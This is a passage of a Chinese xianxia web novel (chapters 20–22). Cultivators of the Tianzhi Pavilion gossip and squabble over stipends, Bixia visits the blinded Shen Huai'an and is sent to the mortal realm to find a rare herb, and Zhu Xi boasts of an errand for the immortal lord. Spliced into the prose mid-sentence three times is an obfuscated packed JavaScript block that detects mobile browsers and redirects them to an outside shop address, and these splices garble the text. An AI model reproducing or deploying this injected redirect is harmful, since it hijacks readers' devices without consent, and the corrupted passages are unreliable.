“咦,”桃夭忽然跟发了瘟症一样,莫名其妙从后面捅咕一下碧霞,“你敢编排月留殿那位?” “嘁,说得跟平时编排少了一样。” “大胆,你当心我家碧霞姐姐跟你拼命来着。” 20. 第 20 章 碧霞僵硬地苦笑,手伸到背后打了桃夭一下。 她们确实经常聊起明河,事实上,她们议论嘉应宗的任何人。 在女修们口中,明河并不属于风评好的那类。 他有一个使他念念不忘的结发妻子,还是个毫无可取之处的凡人,这是美中不足。 那样一个男人,早早就心有所属,不论男女看了都会忌恨,甚至是生厌。 他最好是做一座完美无瑕,应该属于众人的神像。让人向往,迷恋,代入。 但他动了情,转瞬之间变成了私人的,专属的,无法肖想,无法染指的,每个人都那么忙,他理应立马被弃之如敝屣。 她们嘲笑他的痴心,一文不值,作茧自缚。 但无论如何,男人是可以被原谅的。只要他还手握力量。 弱小才是男人最大的罪,明河就被原谅了。 毕竟他碍眼的妻子总归是死了,在男人看来,将他独占的温柔乡已经分崩离析,无法与他们竞争。 他用力量争得的一切荣誉与创造的一个个奇迹,都可以分出去,属于宗门,属于仙界。他独立于仙途之巅,是那些千方百计想往上爬的男修的理想自我。 除此之外,这些年嘉应宗对凡界的援助力度越来越大。 有在执事堂管事的姐妹旁敲侧击提过,这其中很多事项是经过明河仙尊批准的。 他从专注修炼,不理尘俗,到逐渐开始插手宗门事务,是准备接替宗主位置的信号。 而他却又心在凡界,这在女修们看来足够令人提防了,仿佛他即将要把整个嘉应宗赔光。 这时,有人将杯中茶水一饮而尽,伸了伸懒腰,不耐地看向屏风旁的走廊,“这个婼翎怎么还没来啊,让我们等那么久。” “魔界大战刚结束,估计执事堂事也多。” 祝曦兴致勃勃地打听关于凡界的事,段宝晴阴差阳错使了个激将法,她已经决定亲自前往凡界了。 但可惜,在场确实没多少人了解那个地方。 屋子热,碧霞没一会儿就有些待不住了,大屏风上吊着一排绿萝,最长的一条藤叶超过了屏风的一半。 她看着那条藤叶,说曹操曹操到,屏风后滑出了一抹长影。 紧扎的腰带束出一把纤腰,荷叶边的宽大衣袖摆荡在身侧,窈窕又利落,无疑是大忙人婼翎。 “快给我倒杯茶。” 她一进来就立即说,顺势将手上拿着的两张金纸甩在桌上,“嘴皮子都快磨破了,打了场仗,各个中小门派都来问嘉应宗要钱了,唉——” 碧霞看到她唇上胭脂斑驳,脸部皮肤微微发红,一双眼睛还残留着从执事堂内带出来精光。 “其他门派为什么要问嘉应宗要钱?”段宝晴不解,将杯子递给她,同时捏过那两张落在面前的纸条。 婼翎接住递过来的茶水,一饮而尽,摇了摇头,两颗水珠从唇上滴落,“都说自己门派死了多少人,贡献显著,要补偿呢。” “那不是有仙盟吗,仙盟不出钱?” “仙盟的钱也是各大宗门给的,嘉应宗是龙首,当然想从嘉应宗这再捞一笔。” “哎哟,去死吧。”有女修直接骂:“宗门只需要给自己人补偿就够了,说得好像保护修真界只是我们一宗的责任而已。” “吉庆宗和漱月门呢,这两个宗门占着两条紫灵石矿脉,然后一点不出?” 桃夭愤愤不平,沉着脸从地上撑起身,早看这两个宗门不过眼了。 祝曦噗嗤笑一声,拔下簪子拨了拨炉网边缘的两颗白果,“你还指望铁公鸡拔毛?吉庆宗觉得自己分到的灵脉是小的那条,抠抠搜搜只愿意出那么一点,而漱月门却觉得自己是小门派,就算分到了比较大的那条矿脉,也不愿多出。” 桃夭还真不知道这些,听到这种毫无体面可言的事,眉头都皱紧了。 “这斤斤计较,我看也别自诩修真人了。” “是啊,所以我看宗门多出点也没什么,钱虽出去了,名声却是我们的。”祝曦扬了扬手臂,将下面的三层彩缎大袖折了个角,整齐压在桌面上。 这下轮到碧霞笑了,桌上一时鸦雀无声,女修们不知道她是认真的,还是在开玩笑。 但一想到她这人素来虚荣,极好面子,又觉得真得不能再真。 “祝阁主仗义。”碧霞抬手恭维道。 “你应该多学学我,这样才能挽救你的名声。”逮到机会,祝曦又教训起了碧霞。 “咦?”段宝晴将手上两张金色的纸条传给身旁女修,盖了鲜红掌门印的。这是显然是灵票,每张可以兑取一百五十块上品灵石,“是这月给我们,才三百?” 婼翎瞥一眼女修们手里的灵票,似也有些不满:“还能有三百就不错了,这月打仗,嘉应宗出钱的地方多得数不清。” 正啜饮茶水的祝曦忽地被呛了一下,“什么,不会吧?” “喏,你自己看。” 她胡乱放下杯子,用真气将金纸吸附到了手上。一双秋水盈盈的眼眸翻来覆去地检查红色掌门印下的那行黑色小字,面上颜色逐渐精彩。 坐她对面的女修嘴角勾起一丝讽笑,摇了摇团扇,驱散扑到脸上的热气,“祝阁主,这下还慷慨吗?” “哎呀,昨儿是不是还给那些凡人女子送了不少灵石来着?当时你说是五十……” 只穿着白色里衣的女修将两条手臂慵然地滑到身后,滟滟地笑看她,“我看不止吧?” 祝曦吞了吞口水,紧张的目光扫过在场女修。 天织阁每月开销基本都在两千块上品灵石左右。按照惯例,执事堂每个月要批给天织阁上品灵石八百块。 这是白送她们花的,天织阁并不承担什么宗门任务,充其量在宴会上表演一些歌舞。用钱的地方多起来,首先削减她们的份例再正常不过了。 “难道以后都是三百了吗?”她皱着脸问婼翎。 “当然不会,暂时这个月而已。”婼翎摆了摆手,让大家安心。 祝曦松了口气,手掌抚着胸口,“那还行,吓死我了。” “什么都指着我们,打仗也是,援助凡界也是,再这样下去宗门迟早被吸干。”女修们操烦不已,“我看那些管事的长老也该未雨绸缪了。” “要不宗门发兵把漱月门和吉庆宗打下来吧,到时候紫灵石矿脉就是我们的了,我愿意自告奋勇。” 桃夭早已又躺了下来,一只手握拳,高高举起,槛外红枫似火。 有人揶揄她,“我怎么不信呢,最懒就是你,你先从地上爬起来再说。” 祝曦唉声叹气,像个当家的大姐,打闹不起来了,“算算日子,姐妹们,也到了交织供的时候了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985044|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 交了织供,才能在天织阁内休息睡觉,吃喝玩乐,过上嘉应宗女修最体面,最优雅的生活。 每名女修是八十块上品灵石,多的通常会存起来,由阁主管理各项开支。 “碧霞,你照旧出五十吧。”祝曦拉着脸,不太情愿地看向她。 天织阁给她减免了三十,因为她“诛凡有功”,又家道中落。 那一头的婼翎直接往桌上甩了两块紫灵石,折算出来共一百多的普通上品灵石,豪爽道:“多的算碧霞身上。” 她想起一事,“对了,过几天有庆功宴,执事堂要求我们准备几场歌舞,要有气势一点的。” “好啊,一支舞五十块灵石,一首歌三十。”祝曦撇着嘴,不知道在赌气还是什么。 “祝阁主,这还没到山穷水尽呢,你的松弛感呢?” 碧霞实在觉得热,女修们最多披一层浅纱,只有她穿得严严实实,裙面上一层细绒,怕从戡魔崖出来赶路冷,便穿厚了些。 她大大地吐了口气,从软垫上站起身,顺道抓起块牛乳绿豆糕,塞进嘴里,“多谢姐妹们,过几天我交两百,先走了。” 时不时多交些织供,也好在天织阁待下去。若一直枯坐于金元峰内,就真被嘉应宗遗忘了,在这里好歹还能第一时间听到各种宗门消息。 母亲阮柔云自然很赞同她这一做法。 碧霞将绿豆糕吞进肚子里,回到二楼自己的房间。 她径直走向里间,床上的红纱帐像走之前一样,被金钩束成一个八字。 冰凉的蚕被光洁如新,碧霞倒下腰,将发热的面颊贴上去。 顺势将手探入枕下,摸出那沓手记。没人动过的样子,桃夭自然不会无聊到趁她不在的时候潜进来。 碧霞翻了个面,床沿边支着腿,一遍遍读着这些在脑海里重复了无数遍的内容,同时回忆着在魔界时见到的明河的样子。 有什么东西离她很近,仿佛触手可及,一转过神又消失得无影无踪,不知道是不是幻觉。 这种感觉重复出现了很多次,直到碧霞精疲力竭,眼睛酸涩,一无所获在床上睡过去。 再醒来已是黄昏,手上纸张散落一地,夕阳的光芒中,像一块块白色的陷阱。 碧霞发了会呆,然后才弯腰捡起它们,揣在了身上。 外间的桌上不知何时多了一道露凝益虚汤,放在铺满热石的食盒里,拿出来还像刚出炉一样。 一定是桃夭让人送来的,汤是清新淡雅的甜口,补气益虚。放了千年桃花树上的露凝花瓣,一棵树仅有几片,积蓄着最自然精纯的灵气。 碧霞感受着盛具透出来的温暖,无法否认自己的感动,桃夭对她的好毋庸置疑。 但有一种近似于本质的东西,总会在某些时候可怖地裸露出来,像鱼肉里的细刺,硌得她不上不下。 往下吞会痛,吐又吐不出来。 这一定是她的问题,无能的人才会迟迟摆不正自己的位置,她私心不想去怨恨桃夭。 她无法把自己摆入那群女修中间,她无法接受她们作为女性,对待凡人女性与凡人男性却有着迥异的态度,所以才会有那么多虬结横生的痛苦思绪。 碧霞一定要找回自己的记忆,不论是碧霞,还是素月,或者另外的凡人和修士也罢,不然她一定会滋生心魔。 21. 第 21 章 翌日午时,碧霞因为某些莫名的驱使来到了月留殿前。 是一个阴天,阴云从早上开始就一直积蓄不散,枫叶的颜色似乎都暗了许多,在冷下来的空气中凝滞不动。 台阶旁聚集着几波人,不知道是做什么的,都在小声说着话。 似乎没有人注意她,但当碧霞抬脚踏上阶梯时,一名男修立即走了过来,大声阻止:“停步,仙尊在养伤,不见人。” 碧霞转过头,他将她上下打量,锐利的目光示意她赶紧离开。 好在碧霞已经换上了在魔界的那张脸,男修走到她面前时,她才笑着解释道: “师兄误会,我怎有资格得见仙尊。我想见的是一名叫做沈槐安的男修,他曾说过自己在月留殿仙尊座下修习,在魔界时他受了重伤,我想来看看他的情况。” 男修拧了半天眉,魔界,女修,终于想明白了,“你是在魔界救了沈师兄的那名女修?” “他也是我的救命恩人。” “叫青什么?” “青霄。” “哦,”男修松口了,“沈师兄跟我提过你,他倒是醒了,跟我来吧。” 碧霞第二次踏入这片殿宇,主殿上方高开的窗户被厚重重帘遮掩得严严实实,殿内两旁多了许多灯架烛台,一排排过去,点着至少几百支矮胖的白蜡烛,辉煌照映着殿内的一切,与上次感受到的泠然仙氛截然不同。 碧霞也不清楚自己来月留殿能做什么,但她跟在面前这名男修身后时,心中有种悬浮的躁意,至少能让她确认沈槐安不是她的第一目标。 她有别的真正想看望的人,问话显得有些心不在焉:“请问沈师兄伤势如何?” “从危险中脱离了,但还需依靠药物静养一段时间。手脚断了,可以用屠梨木加上回息之术修补回来,只是灵脉的修复就需要靠他自己了。” 碧霞点点头,“那就好。” 忽然想起他那双被剜出来的眼睛,心中一紧,“那眼睛呢?” 他们来到一处巨大的天井下,从这里抬头往上望,天上阴云汹涌许多,似乎有要落雨的气势。 在翻涌的荷花池边,男修带她拐上墙边一道白石阶梯。 他上楼时的脊背挺直,而脑袋似乎因为这过于挺直的脊背,有种隐隐往后倒的架势,回答她的语气又快又赶,“眼睛的恢复同四肢相比要更复杂些,需要一样替代之物,目前正在处理,找到的话恢复目力不成问题。” “那就好。”碧霞又重复了一次。 听这干脆利落,毫无拖泥带水的说话架势,男人大概率是医修。 碧霞知道,大部分医修说话都是这个腔调。 “有需要人手的地方,在下随时得闲。”她随意扔下一句保证,但想来应该也用不到她。 登上了殿楼间的复道,碧霞的步子开始变得时快时慢,流露出无法掩藏的犹疑来,男人回头,困惑地看了她一眼。 见他看过来,碧霞干脆直接问了:“那仙尊的伤势呢?” 男人眯了眯眼睛,那张稍长的脸有种接近妖类的冷漠。嘴唇翕动起来,像看一个不太懂事的孩子,“少打听,仙尊的情况不是能随意透露的。” 碧霞不死心,继续自顾自地问着,“仙尊的灵脉被浩世镜绞断,还能恢复如初吗?” 男人脚步微微一顿,有些讶异地看着她,似乎在想她为什么知道。 “当时仙尊落难,在下碰巧遇到,还目睹了浩世镜吸收仙尊灵力化形……” 碧霞蹙紧眉头,五指紧揪着大腿处的布料,眼底的担忧不似作假,缓缓低下了头,“我没有别的意思,只是担忧罢了。” 男人叹了口气,像是拿她没办法了,“仙尊没事,灵脉断口齐整,可以接续上。” “真的?”碧霞眼睛瞬间亮起来,“太好了,我就知道他不会有事的。” 心情轻快了不少,像有包袱被放下。 穿过悬空的阁道,他们进入另一座温暖的阁楼里。楼内房间众多,走廊外稀稀拉拉站着一些人,看起来像弟子居之类的地方。 下了台阶,男人往右手边的走廊走去。 在白天,每扇门外的架子上仍旧放着两支点燃的白色蜡烛,火光划过碧霞的虹膜,在眼眶周围留下一缕稀薄的温度。 “师兄,为何不用荧石照明?”她看着这些平平无奇的蜡烛疑惑道,鼻尖萦绕着一股蜡烛燃烧时散出的草木香味。 “……这是回春堂最近制作出的犀香烛,散发出的气味有安神宁心的作用。” “安神香有很多种,这种犀香烛想必效果更为精妙,即便是如此细微之物,回春堂也未曾忽略,不断地……不断推陈出新,不愧是最能代表嘉应宗头脸的几个堂阁之一。” 碧霞没有察觉到他回答前的迟钝,跟脑子糊涂了一样,一道马屁拍得十足生硬。 男人未予回应,但能瞥见嘴角挂着,显然是不高兴。 碧霞当即有些后悔,男人忽然再次转头,睨着眼,眸色严厉,说出口的话毫不迂回:“仙尊肩上责任重大,我希望你们这些女修不要总因为自己的私心而去打扰仙尊。” 碧霞的神色顿时凝固在了脸上,心中涌起慌乱,下意识否认,“不,我没有这个意思。” 他从鼻子里轻轻嗤了一下,加快脚步往前走,拐进另一条走廊,背影转瞬消失在了碧霞的视线范围内。 碧霞停住了脚步,耳廓腾起一阵恼羞的热。她的心,同旁边的犀香烛一样,嗡地窜出一道火苗,有种说不出的愤怒。 她不奢求任何人了解她,但还是有种尊严被蔑视的感觉。 如果她能找回支点,如果不是那种悬荡的不安感时时咬啮着后颈,她一定会离月留殿要多远有多远。 一阵大风从头顶圆形的天井灌下,吹得挂在门上的木牌啪啪响,烛火胡乱倒伏。 走廊晃动着斑驳的光块,碧霞稍稍朝后扭身,白色的靴尖滑动,紧压着红亮地板上的一只木结眼,那种仿佛监视的目光由下至上。 她很想直接转身离开,多少能戏耍一下刚刚那名出言不逊的医修。 但忽然想到,沈槐安毕竟拿自己命换取过她的生机。 碧霞重整旗鼓,拐进那条宽敞的走廊,一眼看到右侧两片薄薄敞开的青玉门,光洁的地面泛出一片冷光。 她想大概就是这里,整条走廊一眼望过去再没其它房间,于是径直走了进去,诺大个房间内,窗户大开着,兜着浊白的天。 室内昏昏暗暗,一阵接一阵的冷风从敞开的长条形窗外吹进来,欺压着两只灯架上的烛火,搅乱满室垂帷。 她的裙被吹得贴在腿面上,隔着打坐台旁一道矮矮的花鸟屏风,近窗的宽大床铺上,靠坐着一个穿白色夹衣的男人。 双眼被一条青绸覆盖,大半张脸侧向窗扉,迎吹着嗖嗖的冷风。 绣着金色纤云纹的布条混弄着耳后发丝,在风中波浪似的起伏,有种凛然又孤独的脆弱。 碧霞怔了怔,忽然想起桃夭写的那些话,半空扫落的青丝。 最先恢复的,是他被扯的七零八落的头发,不痛不痒的一道伤。 “沈槐安?”碧霞叫着他的名字,缓步走过去,心中有些忐忑,不知道他会不会怨自己。 男人听到呼唤,肩膀微微一颤,原先像是在发呆,而后立即将脸转了过来。 “……青霄?” 这一声,有些热切的感觉,他被青绸覆盖的眼,准确找到了她的位置。 碧霞松了口气,他应该不会怪她什么了,“你怎么把窗开这么大,你现在是病人。” 这满室的风连她都嫌冷,他竟还穿那么少坐在窗边,但凡是个人都看不下去。 碧霞想也不想,爬上了床,越过他平放的一条长腿,想去够外面支起的窗扇。 这一下,大片的裙摆就落在了沈槐安赤裸的脚背上。随着风,扫着荡着,孔雀翎的刺绣轻轻刮蹭着上面凸起的血管与青筋。 异样的感觉使沈槐安眉头微微攒动,他变得有些局促,呼吸陡然快了几分,想要摸索过旁边的薄毯给自己盖上。 但这时,脑袋深处忽然生出了一丝钻痛,麻木地传递到手臂上的肌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997241|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉,仅剩的一只手当即脱力般使不上劲。 沈槐安调整了一下呼吸,颤颤地放弃了,想着这也不算什么。 碧霞将脑袋伸出去,左右上下看了个仔细,才发现外面没有窗扇。 “这窗?” “在那里——”沈槐安抬了抬手指,指向窗框底部,碧霞凑过去,看见了一个红木旋钮。 她将旋钮拧尽,窗框上方随之缓缓降下一面素纱隔板,湖光似的白亮纹路在其上流淌荡漾。连同着一旁平静下来的烛火,将昏暗厅室照亮些许。 “原来如此。” 风声被隔绝在外,碧霞满意地滑下床,笑了笑,“这比天织阁高级多了。” 沈槐安听到她的笑声,也浅浅地笑了,一张略显苍白的唇勉强地向上勾起,对着她低诉:“真没想到,我还能活下来。” 犀香烛被风扰散的香气重新在空气中汇聚,碧霞目光逡巡过他残缺的肢体,脸上不由浮现出一些沮丧的神色。 碧霞抬腿,在床沿坐下,将暗金色的织毯拉好,盖在他有些发白的脚面上。 “大难不死必有后福,我也没想到师兄还有一口气,这实是万幸,现在身体感觉如何?” 话落后好一阵,沈槐安却缄默着,不知在想什么,嘴角兀自地噙着一抹笑。 “嗯?” 精致的面庞陷在半明半暗的阴影中,那抹笑不像苦笑,也不像伤怀,反而有一丝蛰伏的危险。 他没有回答她的问题,终于开口,却反问:“你知道,我为什么能活下来吗?” “……因为师兄求生的意志?”碧霞犹疑了一会儿。 奇怪,明明他已经失去了双眼,碧霞却感觉有一束锐利的目光从那条青色绸带下透出来,直直地钉在她脸上。 沈槐安摇了摇头,“不是。” 他继续沉默,显然是让她继续猜。 大概是为了缓解莫名不适,碧霞突兀地笑出声,半开玩笑道:“那是因为我救了你?” 于是沈槐安脸上的那抹浅笑也扩大了,但声音照旧低如蚊呐,“这当然是一个原因。” 烛光中,他整个人看起来幽幽魅魅,赞许了她后,又缓缓补充道:“……但还有一个原因,我不敢告诉任何人。” 房间另一头的小室,叮叮铛铛,瓷器互相碰撞的声音传出来,那名医修大概在调制什么药物。 碧霞有些紧张吞了吞口水,他的脖子,他的肩膀,微微往她的方向倾过来。 沈槐安素来是一副温和贵公子的,这副样子放他身上难免有些诡异。 所以,他果然是在怪她吗? 碧霞低下了眼睛,看着床被上刺绣的云兽,胡思乱想起来。 “师兄……” 打算说些什么,沈槐安忽然用正常的音量询问:“你去探望过洛明河了吗?” “洛明河?”碧霞怔了怔,是说仙尊吗? 他满怀歉意地笑了笑,“原谅我一时嘴快,就是仙尊,你去探望过他吗?” 碧霞摇摇头,未做他想,“没有,师妹哪里见得到仙尊。” 窗外风势又加大了,拍打着素纱窗,发出嗒嗒的闷响,碧霞估摸着要下雨。 她望着那扇窗,只稍稍走神了一会儿,放在腿面上的手便忽地一热,沈槐安将自己的手叠了上来。 “要不你拜他为师吧,这样我们也算名正言顺的师兄妹了。” 不知何时,他凑得极近,仰着一张脆弱纤柔的脸,那两瓣先前还苍白的唇多了几丝血色,微微分开,倾吐着莫名其妙的话语。 一张脸,最能传递感情的便是眼和唇。 纵使男人的眼部被青绸覆盖,但就如先前那般,碧霞仍能感受到一种炽热的目光落在她脸上,隐隐地灼烧着她脸上细小的汗毛。 或许这不是错觉,她望不穿那块绸布。加上那张离她只剩不到半臂距离、欲言又止的唇,碧霞瞬间像被一张热乎乎的网兜住了,有什么东西趁机缠绕到她身上。 她的肩膀狠狠颤抖了一下,手触电般地收到胸口前,打破了这股令她害怕的氛围。 22. 第 22 章 “你拜仙尊为师吧,留在月留殿学习,你不想吗?” 沈槐安将仅剩的一条手臂弱弱地支在身前。那道清晰深刻的锋利唇线,因为他略显委屈的神色而被扯直。 “等等——” 碧霞从惊吓状态抽离,先是检查了一眼自己被握住的那只手,上面什么也没有,只起了层鸡皮疙瘩。 她松了口气,因为这实在太怪了,莫名的身体接触,就像暗算。谁知道对方是不是趁机往她身上烙下某种咒术。 碧霞转而看向沈槐安,一翦秋瞳水光粼粼,警惕夹杂着担忧,“那个……师兄,你到底怎么了?” 沈槐安咬了咬唇,神色变得有几分执着,依旧在自说自话,“你封魔有功,仙尊一定会收你为徒的。” 碧霞干脆站起身,双手固定住他的脑袋,指尖迅速凝出一缕真气,闪着针一样的银光,“我看看是不是伤到神识了?” 真气即将从头顶穴位刺入,沈槐安像是醒过来,身躯猛地一震,将她的手打开,“不要碰!” “抱歉,我的脑袋受了伤……”他扯了扯披在背上的外衣,讪讪地不去看她,“还是不要随便碰为好。” 凝固的真气消散在指尖,碧霞眯了眯眼睛,选择后退半步。 看得出,男人应该在皱眉,虽然眉头也被绸布遮住,但额角的皮肤却紧绷着,有几分气恼的样子。 雨果然落下了,像有一堆豆子或者沙石迅猛地拍打在素纱窗上,因为灵光的阻隔,雨丝没有穿纱而过。 医修终于调好了药,端着托盘从那方帘幕后走出,“换药了,师兄。” 方盘里有一碗淡黄色的粘稠药液,像浆糊似的,大概一拃长的冰玉片斜插在里面,估计是要敷到伤口处,碧霞抬起双手,行了个礼,“我走了,师兄你好好养伤。” 最后一面了,总之碧霞决定不再来了。 只是刚转身,那名医修却忽地叫住她,“你能等一会儿吗?” 碧霞疑惑地回头。 医修的语气较之先前莫名软下来许多,脸上甚至挤出了一个似笑非笑的表情,“刚刚回春堂传讯来了,我有话跟你说,等我给沈师兄换完药吧?” “……呃,那我去外面等?” 奇怪,回春堂和她又有什么关系? 男人点点头,“随你,多谢。” 在廊外静听了两刻钟的雨声,几片亮晶晶的雨水不停从圆形天井上倾落,像稀疏不全的幂篱,被中庭的高大灵植如饥似渴地吸进体内。 喝得餍足了,一些绿莹莹的光点渐渐从叶片上漫散开,有那么几颗飘过来,触到碧霞鼻尖。 肺腑生凉,她打了个喷嚏。 那名医修终于打开门走出来。 他径直来到她身旁,脸色有些严肃,开门见山道:“是这样的,回春堂刚刚传讯来,说他们已经翻遍了整个嘉应宗的仓库,但都没有找到紫暮草结出的玉质果实,那就是可以替代沈师兄双眼之物。而且他是紫阳骨,紫暮草与他的功体是同一属性,能比较好的融为一体。” 碧霞从未听说过什么紫暮草,认真听他说着,“这东西很稀有吗?” “当然,属于珍稀灵植那类。最显著的特点是可以化为一股紫烟,随处扎根,所以无法人为栽种,也没有固定的生长环境。” 说完,他转头看了眼虚掩的大门,细长眼眶内,风沙色的眼睛凝着几点冷光,认真地在苦恼与思考。 碧霞想起先前自己的保证,她脸上主动浮现出一个笑容,“所以,我能为沈师兄做些什么吗?” 仿佛就等她这句话,男人当即从袖中取出一只灰青色的玉瓶,巴掌大小,瓶身刻着兰花。 他晃着小瓶,“紫暮草会躲避修士,在凡界更有可能发现它们的踪迹。如果看到它结了深绿色的果子,就将果子带回来,如果没有,将紫暮草化成的紫烟装进这只玉瓶便可。” “嗯,我明白了。”碧霞接过玉瓶,拇指一点点摩挲着圆润冰凉的瓶口。 但她还是第一次去凡界,心中有不少顾虑。抬眸看了男人一眼,又想着干脆推脱算了,应有不少去过凡界的修士能更好地完成这项任务。 她那有些优柔寡断的性格再次发作,生怕自己耽误了沈槐安的治疗。 “怎么了?”男人瞥见她犹豫的目光。 “没什么。”碧霞摇了摇头,“我会尽力去找的,但不一定找得到。” “这是自然。”男人露出一个使人轻松的笑来,同时伸出手,安抚性地拍了拍她的肩,“到时回春堂会再商议,暂且先劳烦师妹走一趟。” 碧霞吸了吸刚打过喷嚏的鼻子,随着他,扯出一个笑,着实没想到这名刻薄的医修还能这样温柔。 她握紧了玉瓶,其实没告诉过任何人,她对那个地方一直有种隐隐的向往。 从来都是凡人向往修真界,而修士对凡界兴致索然,鄙夷不屑,她倒是异类。 三年来,那种向往总萦绕在心头,仿佛那个地方有什么东西在呼唤她,是她落叶归根的“根”。 这或许是个机会。 碧霞的呼吸又有些失控,这是情绪激动的前兆,她的眉眼紧张又迷离地扑朔起来。在男人的目光中,她抬手用力捏了一下白皙的鼻尖,留下一个小小的红印。 “怎么了?”男人皱眉看着她奇怪的样子。 “没——”碧霞缓缓调整自己有些明显的抽气声。 将从丹田上涌的灵力压回去后,碧霞继续问道:“但凡界那么大,一头扎进去岂不是无头苍蝇……有没有紫暮草相对比较常见集中的地方?” “也是。”男人稍做沉吟,便说:“我回头替你打听一下,说不定有最近去往凡界的修士目睹过紫暮草的踪影,晚些时候将地图给你送去。” “多谢。”碧霞欣然点头,“师兄送来天织阁就行了,就说给桃夭姑娘。” 她后退了两步,将东西收入芥子袋,化作一缕淡青色的流光,从上方的天井飞出了那一座温暖的阁楼。 男人抬头,伸手扶住栏杆,看着她一路离开。 其实,从流光的样子能判断出修士的状态,那种蜿蜒轻灵的滑动,能看得出这名姑娘心情不错,应该说是雀跃,甚至实力不俗。 雨小了不少,但淅淅沥沥地还在下,打湿碧霞这抹流光,也打湿下方的枫叶林。 天色清绝,雨水使枫林颜色层次更为浓郁,也更加分明,深红,浅黄,黄中带绿,翠得发乌,各色淋漓。 或浓或淡的水烟从树梢头飘升出来,浓的是一团,淡的便是一缕,像被撕碎的白色纱绢。远山绵延,像一幅黛色的长卷,在同样朦胧的烟雨后若隐若现。 碧霞在翱翔这样在如画的景致中,不禁感到一种畅然,神清气爽。 半刻钟后,她降落在天织阁后方的庭院里,只有发尾微湿。 大概是太久没有下雨了,以往天气稍稍做难,天织阁便会支起阵法屏障,将阁楼护住。 但这会儿却不见什么阵法的灵光,雨水将整片楼宇,连同四周的树木花草、秋千桌椅全都冲洗了个遍,四周焕然一新。 一群女修搬了矮榻,铺上白锦软垫,在二楼露台上赏雨,炉烟袅袅,茶香阵阵。 空中无水,却凭空游曳着数十只蓝紫色的仙鲤。素日养在阁楼右面那片琉璃池中的,这会儿拿来凑趣,也算养鱼千日,用鱼一时。 每只大概两尺长,鱼鳍似薄纱,曼妙舞动,如轻烟在空中化开。而后露出一片流光溢彩的鳞身,一团团穿梭的星云。 有不情不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006616|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揣着心眼游远的,女修们便甩出一道气劲,给一个教训。打落几片灵气凝成的鱼鳞,无伤大雅,像炸开的烟花,在雨后的青天下也格外眩目。 春赏花,夏熏风,秋听雨,冬赏雪,修真界地大物博,还有各种层出不穷的有趣玩意,这样的日子,还求什么飞升。 碧霞听着她们的笑语,快步走进阁内,从后院进去的殿厅泛着一股凉意。 也没有点灯,殿里黑沉沉的,有什么东西在殿角垒得老高。 她脚步顿了顿,选择走过去看看,发现只是一些粗麻袋,数量很多,快堆满整面墙。 里面不知道装了什么,凸浮出硬硬的颗粒感,粗糙的外观和天织阁并不搭调。 一串细微的脚步声响起,接着是祝曦从布袋后现身,她似乎正忙着数面前布袋的数量,看到碧霞后,稍稍吓了一跳。 “哎哟,你是鬼啊,在这里干吗?” “祝阁主,这些是什么东西啊?”碧霞伸出手指戳了戳布袋,笨笨地问她。 “农庭送来的一些灵米咯,要送去凡界的,有几个地方闹了很长一段时间的旱灾,饿死了不少凡人呢。” 祝曦边说,边从米山后走出来,小臂上还挂着一卷地图,挥手叫碧霞起开,“去,别挡路。” “你真要去凡界了?”正巧,她也要去呢。 光线太暗,碧霞挥手点亮嵌在天花板处的几块荧石浮雕,照亮整个殿厅。 祝曦梳着高高的飞云髻,清点完灵米的数量后,将小臂上的地图展开在身前,余光得意地飞了她几道,“告诉你,我还是接到了月留殿的任务呢,羡慕吗?” 有关明河的一切,都能轻而易举触动碧霞的神经。 碧霞眨了眨眼,羡慕倒是没有,只是好奇,“什么任务,仙尊亲自交代的吗?” “算是吧。”祝曦笑着抬起手掌,纤细的手指上套着一枚墨色马鞍戒。 上午她去农庭,打算花自己的灵石买米。正好就碰到了一名仙尊手下的弟子,也是她之前的师弟。 对方最近似有急事走不开,将这枚储物戒交给她,说是将里面的东西送到月河村后,回来他会以仙尊的口吻写一封推荐信,盖上仙尊印,用来为她竞选淄山神女背书。 师妹一再向她保证,仙尊不会介意这种小事,到时仙尊醒来,只需跟他说一声便可。 不过在碧霞面前,祝曦自然要矫饰一番。 “咳,看到这枚储物戒没有?” 她回身,轻轻抬手,将戒指亮在碧霞面前,像个小孩子一样,脸上有掩饰不住的生动色彩,“只需将仙尊交给我的东西送去月河村,这样仙尊就能为我写信引荐,淄山神女已是我的囊中之物了。” 说完,似也意识到自己的声音飘得有些变形。祝曦微微抬起下颌,收敛起嘴角笑容,试图找回仙子的端庄。 “……原来如此。” 碧霞凑近看了看,戒指水润动人,但她听出了不对劲,仙尊不会缺人差使,怎么会找到祝曦来。 而且他现在应该在哪里养伤吧。 不过月河村这个名字,倒有点引起她的注意。 